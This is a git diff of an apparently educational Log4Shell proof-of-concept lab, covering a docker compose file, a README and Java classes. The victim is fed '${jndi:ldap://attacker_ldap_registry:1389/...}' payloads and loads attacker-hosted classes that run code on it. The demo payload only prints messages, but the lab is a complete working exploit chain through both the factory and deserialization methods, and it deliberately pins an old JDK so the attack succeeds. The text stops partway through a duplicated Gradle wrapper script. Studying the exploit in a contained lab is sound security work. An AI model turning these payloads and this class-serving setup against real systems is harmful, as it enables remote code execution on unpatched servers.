diff --git a/.gitignore b/.gitignore index d4f9388..0d3fd57 100644 --- a/.gitignore +++ b/.gitignore @@ -1,26 +1,8 @@ -# ---> Java -# Compiled class file -*.class - # Log file *.log -# BlueJ files -*.ctxt - -# Mobile Tools for Java (J2ME) -.mtj.tmp/ - -# Package Files # -*.jar -*.war -*.nar -*.ear -*.zip -*.tar.gz -*.rar - -# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml -hs_err_pid* +# Ignore any folders labeled build/ +build/ -target/ +# Ignore Gradle metadata +.gradle/ diff --git a/README.md b/README.md index 02ee48f..053348a 100644 --- a/README.md +++ b/README.md @@ -4,9 +4,111 @@ Log4Shell [notes](https://notes.rezel.net/57oTyTczRT28NtWlk8NQ9Q#) -To use this app : +## Usage -```bash -make -make run -``` +This codebase comes packaged with a `docker compose` file for ease of use. To +see the exploit in action, simply run in the root of this repository + + docker compose up + +At first, there will be a few `Error looking up JNDI resource`. This is +expected, as it takes some time for the LDAP registry to be populated with the +exploit data. After about six seconds however, something resembling the +following message should be visible, indicating a successful remote code +execution. + + log4shell-test-attacker_codebase-1 | 172.25.0.5 - - [30/Dec/2021:16:41:22 +0000] "GET /FactoryClass.class HTTP/1.1" 200 1695 + log4shell-test-victim-1 | RCE Acheived in FactoryClass::getObjectInstance! + log4shell-test-victim-1 | name: cn=made-class,dc=ldap-registry,dc=attacker + log4shell-test-victim-1 | nameCtx: com.sun.jndi.ldap.LdapCtx@6e2c9341 + log4shell-test-victim-1 | env: {} + log4shell-test-victim-1 | obj: Reference Class Name: MadeClass + log4shell-test-victim-1 | + log4shell-test-attacker_codebase-1 | 172.25.0.5 - - [30/Dec/2021:16:41:22 +0000] "GET /RCEMain.class HTTP/1.1" 200 468 + log4shell-test-victim-1 | Function rceMain called! + log4shell-test-attacker_codebase-1 | 172.25.0.5 - - [30/Dec/2021:16:41:22 +0000] "GET /MadeClass.class HTTP/1.1" 200 573 + log4shell-test-victim-1 | RCE Acheived in MadeClass::toString! + log4shell-test-victim-1 | Function rceMain called! + log4shell-test-victim-1 | 16:41:22.343 TRACE MainKt - Attempted injection: MadeClass + +### Options + +As detailed at the end of the "Exploit Resources" section, there are two methods +of triggering remote code execution on the victim. One involves a `Reference` +and a factory, while the other involves serialization. + +The factory method is the default, but the which method to use can be chosen by +modifying the payload given to the victim. Change the `victim`'s `JAVA_OPTS` +environment variable in the `docker compose` file to define the `victim-payload` +system property to read either the first or second line depending on whether the +former or latter method is desired. + + $${jndi:ldap://attacker_ldap_registry:1389/cn=made-class,dc=ldap-registry,dc=attacker} + $${jndi:ldap://attacker_ldap_registry:1389/cn=serialized-class,dc=ldap-registry,dc=attacker} + +Additionally, it seems the serialization method doesn't work on any recent Java +version without manually setting the `com.sun.jndi.ldap.object.trustURLCodebase` +system property to `true`. If that method is used, make sure to do that, again +via the `JAVA_OPTS` environment variable in the `docker compose` file + +## Exploit Resources + +Many other authors have covered how this exploit works far better than I ever +could. As such, I'll only give a very brief summary here and link to other +resources I found useful. + +For a variety of reasons I don't fully understand, it would be nice to delay +specifying exactly how an application is set up as much as possible. For +example, it would be nice to not have to code to a particular implementation of +a database and have that baked into a service's `.class` files. Instead, it +would be better to specify that we need a `"Account Database"` and have that +service discoverable at runtime. + +The Java Platform allows for this flexibility. It allows code to lookup, +download, and execute remote objects (not `class`es, objects). This way, one +service doesn't need to have its binaries coupled with another. They can still +communicate with each other as long as they share an `interface`. + +There are many ways to acheive this remote-lookup functionality. Java provides a +method to store serialized or factory-generated objects in LDAP directories. It +also provides a framework to invoke remote methods, and that can be made to do +the same thing. + +All these different providers of this remote-lookup service are abstracted away +by the Java Naming and Directory Interface (JNDI) framework. JNDI provides +interfaces to LDAP, RMI, CORBA, and other lookup services. + +Of course, the whole point of this framework is to download remote objects so +the application can do stuff with them, and this can lead to problems. Say some +attacker could control the target of a JNDI lookup. Then, they could inject +their own class into the application. Presumably, it would then have methods +called on it, leading to Remote Code Execution (RCE). + +There are many ways to actually acheive RCE with this vector. One way is to +create a `Reference` to an object. `Reference` objects hold information about +another object, including the factory class to use to create them. The factory +class is where the RCE happens first. Another way is to store a serialized +object in an LDAP server. This object is deserialized on the victim, then a +method is called on it to trigger RCE. + +### Overview Resources + +* [LiveOverflow](https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w): + * [Overview](https://www.youtube.com/watch?v=w2F67LbEtnk) + * [Internals](https://www.youtube.com/watch?v=iI9Dz3zN4d8) +* [*A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land*](https://www.youtube.com/watch?v=Y8a5nB-vy78) +* [Flow Diagram](https://www.radware.com/security/threat-advisories-and-attack-reports/log4shell-critical-log4j-vulnerability/) +* [Impact](https://www.lunasec.io/docs/blog/log4j-zero-day/) + +### JNDI Resources + +* [Tutorial](https://docs.oracle.com/javase/jndi/tutorial/): + * [Tutorial: How Java Objects are Stored](https://docs.oracle.com/javase/jndi/tutorial/objects/index.html) +* [Technotes](https://docs.oracle.com/javase/8/docs/technotes/guides/jndi/): + * [LDAP](https://docs.oracle.com/javase/8/docs/technotes/guides/jndi/jndi-ldap.html) + * [RMI](https://docs.oracle.com/javase/7/docs/technotes/guides/jndi/jndi-rmi.html) +* [Java Documentation](https://docs.oracle.com/javase/8/docs/api/): + * [`DirContext`](https://docs.oracle.com/javase/8/docs/api/javax/naming/directory/DirContext.html) + * [`Reference`](https://docs.oracle.com/javase/8/docs/api/javax/naming/Reference.html) + * [`ObjectFactory`](https://docs.oracle.com/javase/8/docs/api/javax/naming/spi/ObjectFactory.html) +* [RFC 2713](https://datatracker.ietf.org/doc/html/rfc2713) diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..0178769 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,66 @@ +version: "3" +services: + + # The service on which to gain RCE + victim: + build: + context: ${PWD}/src/victim/ + dockerfile: ${PWD}/docker/gradle-app.Dockerfile + args: + APP_NAME: "victim" + environment: + JAVA_OPTS: >- + -Dvictim-payload=$${jndi:ldap://attacker_ldap_registry:1389/cn=made-class,dc=ldap-registry,dc=attacker} + depends_on: + - attacker_ldap_registry + - attacker_ldap_registry_setup + - attacker_codebase + + # The attacker hosts a server which the victim can use to look up the location + # of the code to execute. Specifically, the directory server will contain a + # `Reference` containing a factory class to use to construct an object. This + # factory class is executed on the victim, giving RCE. + # + # Many frameworks can be used for this, including RMI and CORBA. We just use + # an LDAP server. + attacker_ldap_registry: + image: "bitnami/openldap:2.5" + environment: + LDAP_PORT_NUMBER: "1389" + LDAP_ROOT: "dc=ldap-registry,dc=attacker" + LDAP_ADMIN_USERNAME: "admin" + LDAP_ADMIN_PASSWORD: "admin" + LDAP_USERS: "nobody" + LDAP_PASSWORDS: "nobody" + LDAP_GROUP: "users" + LDAP_EXTRA_SCHEMAS: "cosine,inetorgperson,nis,java,corba" + LDAP_ALLOW_ANON_BINDING: "yes" + ports: + - "1389:1389" + + # The LDAP registry must be initialized with data. The `Reference` must be + # placed into the directory. This could easily be done with an LDIF file on + # bootstrap, but we write a Kotlin program to do that for us. + attacker_ldap_registry_setup: + build: + context: ${PWD}/src/attacker_ldap_registry_setup/ + dockerfile: ${PWD}/docker/gradle-app.Dockerfile + args: + APP_NAME: "attacker_ldap_registry_setup" + environment: + JAVA_OPTS: >- + -Dattacker-ldap-registry-url=ldap://attacker_ldap_registry:1389/dc=ldap-registry,dc=attacker + -Dattacker-codebase-url=http://attacker_codebase:80/ + depends_on: + - attacker_ldap_registry + + # The victim needs to know the classes of the objects the attacker feeds it. + # In Java parlance, the victim needs to know the "codebase" of the attacker. + # We set that up here. This HTTP server will host the `.class` files needed by + # the victim for remote code execution. + attacker_codebase: + build: + context: ${PWD}/src/attacker_codebase + dockerfile: ${PWD}/docker/gradle-java-codebase.Dockerfile + ports: + - "8080:80" diff --git a/docker/gradle-app.Dockerfile b/docker/gradle-app.Dockerfile new file mode 100644 index 0000000..ab7d52a --- /dev/null +++ b/docker/gradle-app.Dockerfile @@ -0,0 +1,38 @@ +# Docker build script for Gradle applications +# +# The name of the application is specified by an argument, and the root +# directory of the Gradle project is expected to be the build context. The build +# process will build and install the application, and the default command will +# be to run it. + + +# Don't need an old JDK version here +# Just use it for consistency +FROM openjdk:8u171-alpine + +# Copy the source tree into the container +WORKDIR /usr/local/src/ +COPY . /usr/local/src/ + +# Build +RUN [ "./gradlew", "installDist" ] + + +# Downgrade so LDAP exploitation still works +FROM openjdk:8u171-alpine + +# Name of the application +# Used for locating the install files +ARG APP_NAME + +# Install +# The run script is renamed `app` +COPY --from=0 \ + /usr/local/src/build/install/${APP_NAME}/bin/${APP_NAME} \ + /usr/local/bin/app +COPY --from=0 \ + /usr/local/src/build/install/${APP_NAME}/lib/ \ + /usr/local/lib/ + +# Default command is to run the application with no arguments +CMD [ "/usr/local/bin/app" ] diff --git a/docker/gradle-java-codebase.Dockerfile b/docker/gradle-java-codebase.Dockerfile new file mode 100644 index 0000000..f34f8b9 --- /dev/null +++ b/docker/gradle-java-codebase.Dockerfile @@ -0,0 +1,28 @@ +# Docker build script for Gradle codebases +# +# This script will host a particular Gradle build's classes over HTTP. The root +# directory of the Gradle project is expected to be the build context, and the +# build process will build the application and copy over the class files. +# +# This Dockerfile only works for Java codebases. + + +# Don't need an old JDK version here +# Just use it for consistency +FROM openjdk:8u171-alpine + +# Copy the source tree into the container +WORKDIR /usr/local/src/ +COPY . /usr/local/src/ + +# Build +RUN [ "./gradlew", "classes" ] + + +# Use an HTTP server +FROM httpd:alpine + +# Copy the classes +COPY --from=0 \ + /usr/local/src/build/classes/java/main/ \ + /usr/local/apache2/htdocs/ diff --git a/src/attacker_codebase/.dockerignore b/src/attacker_codebase/.dockerignore new file mode 100644 index 0000000..85f7d81 --- /dev/null +++ b/src/attacker_codebase/.dockerignore @@ -0,0 +1,5 @@ +# Ignore Gradle build output +build/ + +# Ignore Gradle metadata +.gradle/ diff --git a/src/attacker_codebase/build.gradle.kts b/src/attacker_codebase/build.gradle.kts new file mode 100644 index 0000000..7f3644b --- /dev/null +++ b/src/attacker_codebase/build.gradle.kts @@ -0,0 +1,20 @@ +// Build a Java library +// It has to be Java. Kotlin requires a runtime, and I don't want to have to +// serve that too. +plugins { + java +} + +// Use Maven Central as our repository +repositories { + mavenCentral() +} + +// Compile for JDK 8 to match the Docker container +java.toolchain.languageVersion.set(JavaLanguageVersion.of(8)) +// Set where to look for source code +// We set both Java and Kotlin to the same thing. We only use Kotlin so it +// should be fine. +sourceSets.main { + java.srcDirs("src/") +} diff --git a/src/attacker_codebase/gradle/wrapper/gradle-wrapper.jar b/src/attacker_codebase/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000..7454180 Binary files /dev/null and b/src/attacker_codebase/gradle/wrapper/gradle-wrapper.jar differ diff --git a/src/attacker_codebase/gradle/wrapper/gradle-wrapper.properties b/src/attacker_codebase/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..d2880ba --- /dev/null +++ b/src/attacker_codebase/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,5 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.2-bin.zip +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/src/attacker_codebase/gradlew b/src/attacker_codebase/gradlew new file mode 100755 index 0000000..1b6c787 --- /dev/null +++ b/src/attacker_codebase/gradlew @@ -0,0 +1,234 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/master/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at https://github.com/gradle/gradle/. +# +############################################################################## + +# Attempt to set APP_HOME + +# Resolve links: $0 may be a link +app_path=$0 + +# Need this for daisy-chained symlinks. +while + APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path + [ -h "$app_path" ] +do + ls=$( ls -ld "$app_path" ) + link=${ls#*' -> '} + case $link in #( + /*) app_path=$link ;; #( + *) app_path=$APP_HOME$link ;; + esac +done + +APP_HOME=$( cd "${APP_HOME:-./}" && pwd -P ) || exit + +APP_NAME="Gradle" +APP_BASE_NAME=${0##*/} + +# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' + +# Use the maximum available, or set MAX_FD != -1 to use that value. +MAX_FD=maximum + +warn () { + echo "$*" +} >&2 + +die () { + echo + echo "$*" + echo + exit 1 +} >&2 + +# OS specific support (must be 'true' or 'false'). +cygwin=false +msys=false +darwin=false +nonstop=false +case "$( uname )" in #( + CYGWIN* ) cygwin=true ;; #( + Darwin* ) darwin=true ;; #( + MSYS* | MINGW* ) msys=true ;; #( + NONSTOP* ) nonstop=true ;; +esac + +CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar + + +# Determine the Java command to use to start the JVM. +if [ -n "$JAVA_HOME" ] ; then + if [ -x "$JAVA_HOME/jre/sh/java" ] ; then + # IBM's JDK on AIX uses strange locations for the executables + JAVACMD=$JAVA_HOME/jre/sh/java + else + JAVACMD=$JAVA_HOME/bin/java + fi + if [ ! -x "$JAVACMD" ] ; then + die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." + fi +else + JAVACMD=java + which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. + +Please set the JAVA_HOME variable in your environment to match the +location of your Java installation." +fi + +# Increase the maximum file descriptors if we can. +if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then + case $MAX_FD in #( + max*) + MAX_FD=$( ulimit -H -n ) || + warn "Could not query maximum file descriptor limit" + esac + case $MAX_FD in #( + '' | soft) :;; #( + *) + ulimit -n "$MAX_FD" || + warn "Could not set maximum file descriptor limit to $MAX_FD" + esac +fi + +# Collect all arguments for the java command, stacking in reverse order: +# * args from the command line +# * the main class name +# * -classpath +# * -D...appname settings +# * --module-path (only if needed) +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. + +# For Cygwin or MSYS, switch paths to Windows format before running java +if "$cygwin" || "$msys" ; then + APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) + CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) + + JAVACMD=$( cygpath --unix "$JAVACMD" ) + + # Now convert the arguments - kludge to limit ourselves to /bin/sh + for arg do + if + case $arg in #( + -*) false ;; # don't mess with options #( + /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath + [ -e "$t" ] ;; #( + *) false ;; + esac + then + arg=$( cygpath --path --ignore --mixed "$arg" ) + fi + # Roll the args list around exactly as many times as the number of + # args, so each arg winds up back in the position where it started, but + # possibly modified. + # + # NB: a `for` loop captures its iteration list before it begins, so + # changing the positional parameters here affects neither the number of + # iterations, nor the values presented in `arg`. + shift # remove old arg + set -- "$@" "$arg" # push replacement arg + done +fi + +# Collect all arguments for the java command; +# * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of +# shell script including quotes and variable substitutions, so put them in +# double quotes to make sure that they get re-expanded; and +# * put everything else in single quotes, so that it's not re-expanded. + +set -- \ + "-Dorg.gradle.appname=$APP_BASE_NAME" \ + -classpath "$CLASSPATH" \ + org.gradle.wrapper.GradleWrapperMain \ + "$@" + +# Use "xargs" to parse quoted args. +# +# With -n1 it outputs one arg per line, with the quotes and backslashes removed. +# +# In Bash we could simply go: +# +# readarray ARGS < <( xargs -n1 <<<"$var" ) && +# set -- "${ARGS[@]}" "$@" +# +# but POSIX shell has neither arrays nor command substitution, so instead we +# post-process each arg (as a line of input to sed) to backslash-escape any +# character that might be a shell metacharacter, then use eval to reverse +# that process (while maintaining the separation between arguments), and wrap +# the whole thing up as a single "set" statement. +# +# This will of course break if any of these variables contains a newline or +# an unmatched quote. +# + +eval "set -- $( + printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | + xargs -n1 | + sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | + tr '\n' ' ' + )" '"$@"' + +exec "$JAVACMD" "$@" diff --git a/src/attacker_codebase/gradlew.bat b/src/attacker_codebase/gradlew.bat new file mode 100644 index 0000000..ac1b06f --- /dev/null +++ b/src/attacker_codebase/gradlew.bat @@ -0,0 +1,89 @@ +@rem +@rem Copyright 2015 the original author or authors. +@rem +@rem Licensed under the Apache License, Version 2.0 (the "License"); +@rem you may not use this file except in compliance with the License. +@rem You may obtain a copy of the License at +@rem +@rem https://www.apache.org/licenses/LICENSE-2.0 +@rem +@rem Unless required by applicable law or agreed to in writing, software +@rem distributed under the License is distributed on an "AS IS" BASIS, +@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +@rem See the License for the specific language governing permissions and +@rem limitations under the License. +@rem + +@if "%DEBUG%" == "" @echo off +@rem ########################################################################## +@rem +@rem Gradle startup script for Windows +@rem +@rem ########################################################################## + +@rem Set local scope for the variables with windows NT shell +if "%OS%"=="Windows_NT" setlocal + +set DIRNAME=%~dp0 +if "%DIRNAME%" == "" set DIRNAME=. +set APP_BASE_NAME=%~n0 +set APP_HOME=%DIRNAME% + +@rem Resolve any "." and ".." in APP_HOME to make it shorter. +for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi + +@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. +set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" + +@rem Find java.exe +if defined JAVA_HOME goto findJavaFromJavaHome + +set JAVA_EXE=java.exe +%JAVA_EXE% -version >NUL 2>&1 +if "%ERRORLEVEL%" == "0" goto execute + +echo. +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:findJavaFromJavaHome +set JAVA_HOME=%JAVA_HOME:"=% +set JAVA_EXE=%JAVA_HOME%/bin/java.exe + +if exist "%JAVA_EXE%" goto execute + +echo. +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% +echo. +echo Please set the JAVA_HOME variable in your environment to match the +echo location of your Java installation. + +goto fail + +:execute +@rem Setup the command line + +set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar + + +@rem Execute Gradle +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* + +:end +@rem End local scope for the variables with windows NT shell +if "%ERRORLEVEL%"=="0" goto mainEnd + +:fail +rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of +rem the _cmd.exe /c_ return code! +if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 +exit /b 1 + +:mainEnd +if "%OS%"=="Windows_NT" endlocal + +:omega diff --git a/src/attacker_codebase/settings.gradle.kts b/src/attacker_codebase/settings.gradle.kts new file mode 100644 index 0000000..1e988e9 --- /dev/null +++ b/src/attacker_codebase/settings.gradle.kts @@ -0,0 +1 @@ +rootProject.name = "attacker_codebase" diff --git a/src/attacker_codebase/src/FactoryClass.java b/src/attacker_codebase/src/FactoryClass.java new file mode 100644 index 0000000..bd8c9ff --- /dev/null +++ b/src/attacker_codebase/src/FactoryClass.java @@ -0,0 +1,42 @@ +// Factory class for RCE +// +// The victim will download this `FactoryClass` in an attempt to construct a +// `MadeClass` object. In doing so, it will call the `getObjectInstance` method. +// Normally, this would return the object pointed to in the registry. +// +// However, this code is executed on the victim, and thus provides a vector for +// remote code execution. + + +import javax.naming.spi.ObjectFactory; + +import java.util.Hashtable; +import javax.naming.Name; +import javax.naming.Context; + + +public class FactoryClass implements ObjectFactory { + @Override + public MadeClass getObjectInstance( + Object obj, + Name name, + Context nameCtx, + Hashtable env + ) { + + // Add instrumentation + System.out.println("RCE Acheived in FactoryClass::getObjectInstance!"); + System.out.println("name: " + name ); + System.out.println("nameCtx: " + nameCtx); + System.out.println("env: " + env ); + System.out.println("obj: " + obj ); + + // Do whatever we want + RCEMain.rceMain(); + + // We could choose not to return. However, the caller is expecting an + // object of type MadeClass. I choose to give them something. It's + // useful for further instrumentation. + return new MadeClass(); + } +} diff --git a/src/attacker_codebase/src/MadeClass.java b/src/attacker_codebase/src/MadeClass.java new file mode 100644 index 0000000..f9408d4 --- /dev/null +++ b/src/attacker_codebase/src/MadeClass.java @@ -0,0 +1,21 @@ +// Class to return from the `FactoryClass` +// +// Objects of this class provide another vector for remote code execution. Log4J +// will call the `toString` method on this object when printing it, and we can +// use that to run code. + +public class MadeClass { + @Override + public String toString() { + + // Add instrumentation + System.out.println("RCE Acheived in MadeClass::toString!"); + + // Do whatever we want + RCEMain.rceMain(); + + // We could choose not to return. However, the caller is expecting an + // object of String. I choose to give them something. + return "MadeClass"; + } +} diff --git a/src/attacker_codebase/src/RCEMain.java b/src/attacker_codebase/src/RCEMain.java new file mode 100644 index 0000000..7f27308 --- /dev/null +++ b/src/attacker_codebase/src/RCEMain.java @@ -0,0 +1,13 @@ +// Demonstration main method for remote code execution +// +// TWO COPIES OF THIS FILE EXIST: +// * src/attacker_codebase/src/RCEMain.java +// * src/attacker_ldap_registry_setup/codebase/RCEMain.java +// The former is more up to date than the latter and should be trusted in case +// of discrepancy. + +public class RCEMain { + public static void rceMain() { + System.out.println("Function rceMain called!"); + } +} diff --git a/src/attacker_codebase/src/SerializedClass.java b/src/attacker_codebase/src/SerializedClass.java new file mode 100644 index 0000000..17bba74 --- /dev/null +++ b/src/attacker_codebase/src/SerializedClass.java @@ -0,0 +1,40 @@ +// A class to demonstrate serialization +// +// This class serves to demonstrate an alternative to the factory-based +// approach. An object of this class is serialized and stored in the LDAP +// registry, then deserialized to have its `toString` method called. +// +// TWO COPIES OF THIS FILE EXIST: +// * src/attacker_codebase/src/SerializedClass.java +// * src/attacker_ldap_registry_setup/codebase/SerializedClass.java +// The former is more up to date than the latter and should be trusted in case +// of discrepancy. + +import java.io.Serializable; + + +public class SerializedClass implements Serializable { + + // Random serialization constant + public static final long serialVersionUID = 42L; + + private String message; + + public SerializedClass(String message) { + this.message = message; + } + + @Override + public String toString() { + + // Add instrumentation + System.out.println("RCE Acheived in SerializedClass::toString!"); + + // Do whatever we want + RCEMain.rceMain(); + + // We could choose not to return. However, the caller is expecting an + // object of String. I choose to give them something. + return "SerializedClass(\"" + message + "\")"; + } +} diff --git a/src/attacker_ldap_registry_setup/.dockerignore b/src/attacker_ldap_registry_setup/.dockerignore new file mode 100644 index 0000000..85f7d81 --- /dev/null +++ b/src/attacker_ldap_registry_setup/.dockerignore @@ -0,0 +1,5 @@ +# Ignore Gradle build output +build/ + +# Ignore Gradle metadata +.gradle/ diff --git a/src/attacker_ldap_registry_setup/build.gradle.kts b/src/attacker_ldap_registry_setup/build.gradle.kts new file mode 100644 index 0000000..42a40f5 --- /dev/null +++ b/src/attacker_ldap_registry_setup/build.gradle.kts @@ -0,0 +1,22 @@ +// Build a Kotlin application +plugins { + kotlin("jvm") version "1.6.10" + application +} + +// Use Maven Central as our repository +repositories { + mavenCentral() +} + +// Compile for JDK 8 to match the Docker container +java.toolchain.languageVersion.set(JavaLanguageVersion.of(8)) +// Set where to look for source code +sourceSets.main { + java.srcDirs("src/", "codebase/") +} + +// Set the main class +application { + mainClass.set("MainKt") +} diff --git a/src/attacker_ldap_registry_setup/codebase/RCEMain.java b/src/attacker_ldap_registry_setup/codebase/RCEMain.java new file mode 100644 index 0000000..7f27308 --- /dev/null +++ b/src/attacker_ldap_registry_setup/codebase/RCEMain.java @@ -0,0 +1,13 @@ +// Demonstration main method for remote code execution +// +// TWO COPIES OF THIS FILE EXIST: +// * src/attacker_codebase/src/RCEMain.java +// * src/attacker_ldap_registry_setup/codebase/RCEMain.java +// The former is more up to date than the latter and should be trusted in case +// of discrepancy. + +public class RCEMain { + public static void rceMain() { + System.out.println("Function rceMain called!"); + } +} diff --git a/src/attacker_ldap_registry_setup/codebase/SerializedClass.java b/src/attacker_ldap_registry_setup/codebase/SerializedClass.java new file mode 100644 index 0000000..17bba74 --- /dev/null +++ b/src/attacker_ldap_registry_setup/codebase/SerializedClass.java @@ -0,0 +1,40 @@ +// A class to demonstrate serialization +// +// This class serves to demonstrate an alternative to the factory-based +// approach. An object of this class is serialized and stored in the LDAP +// registry, then deserialized to have its `toString` method called. +// +// TWO COPIES OF THIS FILE EXIST: +// * src/attacker_codebase/src/SerializedClass.java +// * src/attacker_ldap_registry_setup/codebase/SerializedClass.java +// The former is more up to date than the latter and should be trusted in case +// of discrepancy. + +import java.io.Serializable; + + +public class SerializedClass implements Serializable { + + // Random serialization constant + public static final long serialVersionUID = 42L; + + private String message; + + public SerializedClass(String message) { + this.message = message; + } + + @Override + public String toString() { + + // Add instrumentation + System.out.println("RCE Acheived in SerializedClass::toString!"); + + // Do whatever we want + RCEMain.rceMain(); + + // We could choose not to return. However, the caller is expecting an + // object of String. I choose to give them something. + return "SerializedClass(\"" + message + "\")"; + } +} diff --git a/src/attacker_ldap_registry_setup/gradle/wrapper/gradle-wrapper.jar b/src/attacker_ldap_registry_setup/gradle/wrapper/gradle-wrapper.jar new file mode 100644 index 0000000..7454180 Binary files /dev/null and b/src/attacker_ldap_registry_setup/gradle/wrapper/gradle-wrapper.jar differ diff --git a/src/attacker_ldap_registry_setup/gradle/wrapper/gradle-wrapper.properties b/src/attacker_ldap_registry_setup/gradle/wrapper/gradle-wrapper.properties new file mode 100644 index 0000000..d2880ba --- /dev/null +++ b/src/attacker_ldap_registry_setup/gradle/wrapper/gradle-wrapper.properties @@ -0,0 +1,5 @@ +distributionBase=GRADLE_USER_HOME +distributionPath=wrapper/dists +distributionUrl=https\://services.gradle.org/distributions/gradle-7.3.2-bin.zip +zipStoreBase=GRADLE_USER_HOME +zipStorePath=wrapper/dists diff --git a/src/attacker_ldap_registry_setup/gradlew b/src/attacker_ldap_registry_setup/gradlew new file mode 100755 index 0000000..1b6c787 --- /dev/null +++ b/src/attacker_ldap_registry_setup/gradlew @@ -0,0 +1,234 @@ +#!/bin/sh + +# +# Copyright © 2015-2021 the original authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# https://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +############################################################################## +# +# Gradle start up script for POSIX generated by Gradle. +# +# Important for running: +# +# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is +# noncompliant, but you have some other compliant shell such as ksh or +# bash, then to run this script, type that shell name before the whole +# command line, like: +# +# ksh Gradle +# +# Busybox and similar reduced shells will NOT work, because this script +# requires all of these POSIX shell features: +# * functions; +# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», +# «${var#prefix}», «${var%suffix}», and «$( cmd )»; +# * compound commands having a testable exit status, especially «case»; +# * various built-in commands including «command», «set», and «ulimit». +# +# Important for patching: +# +# (2) This script targets any POSIX shell, so it avoids extensions provided +# by Bash, Ksh, etc; in particular arrays are avoided. +# +# The "traditional" practice of packing multiple parameters into a +# space-separated string is a well documented source of bugs and security +# problems, so this is (mostly) avoided, by progressively accumulating +# options in "$@", and eventually passing that to Java. +# +# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, +# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; +# see the in-line comments for details. +# +# There are tweaks for specific operating systems such as AIX, CygWin, +# Darwin, MinGW, and NonStop. +# +# (3) This script is generated from the Groovy template +# https://github.com/gradle/gradle/blob/master/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# within the Gradle project. +# +# You can find Gradle at 